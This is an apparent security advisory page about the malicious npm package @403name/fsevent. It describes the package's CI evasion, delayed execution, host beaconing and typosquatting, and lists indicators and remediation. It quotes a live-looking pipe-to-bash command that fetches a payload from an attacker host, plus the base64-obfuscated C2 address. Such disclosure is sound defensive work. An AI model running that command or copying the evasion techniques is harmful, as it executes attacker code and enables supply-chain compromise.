Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

@403name/fseventnpm

Malicious code in @403name/fsevent (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5549
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall @403name/fsevent

What this malware does

On require(), index.js runs an IIFE that gates to macOS, skips when CI or GITHUB_ACTIONS is set, waits 30-90 seconds, and writes a one-shot marker at ~/.cache/.nyx-npm/f. It then spawns /bin/sh to (1) GET https://k7xm9q.xyz/api/clickfix-callback with URL-encoded query parameters bid, user (process.env.USER), host (os.hostname()), and the literal tag npm_fsevent — a beacon identifying the infected machine — and (2) execute curl -sSfL https://k7xm9q.xyz/api/payload/ | /bin/bash & disown, fetching and shell-executing attacker-controlled code with the developer's privileges. The C2 host is hidden behind atob('aHR0cHM6Ly9rN3htOXEueHl6') to evade keyword scanning. The package name @403name/fsevent and its description ("Native filesystem event watcher for Node.js — lightweight FSEvents wrapper with fallback polling") impersonate the well-known fsevents package to lure developers into installing and importing it. The combination of obfuscated C2, CI evasion, randomized delay, one-shot persistence marker, host-identifier exfiltration, and pipe-to-bash remote execution is unambiguous malicious tradecraft.

Malicious versions

2 flagged
1.0.01.0.1

Indicators of compromise (SHA-256)

2f86ca4502cc824c3684e8f1e08b088b974b4339829461b50d45e3fbc6f808eb
a29e56279c83c00ea2d5d9347dc9741954a596deefd3319185d318593a5c7239

Frequently asked questions

No. @403name/fsevent on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-005448IN-MAL-2026-005451

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
@403name/fsevent (npm) malicious package — MAL-2026-5549 | O3 Security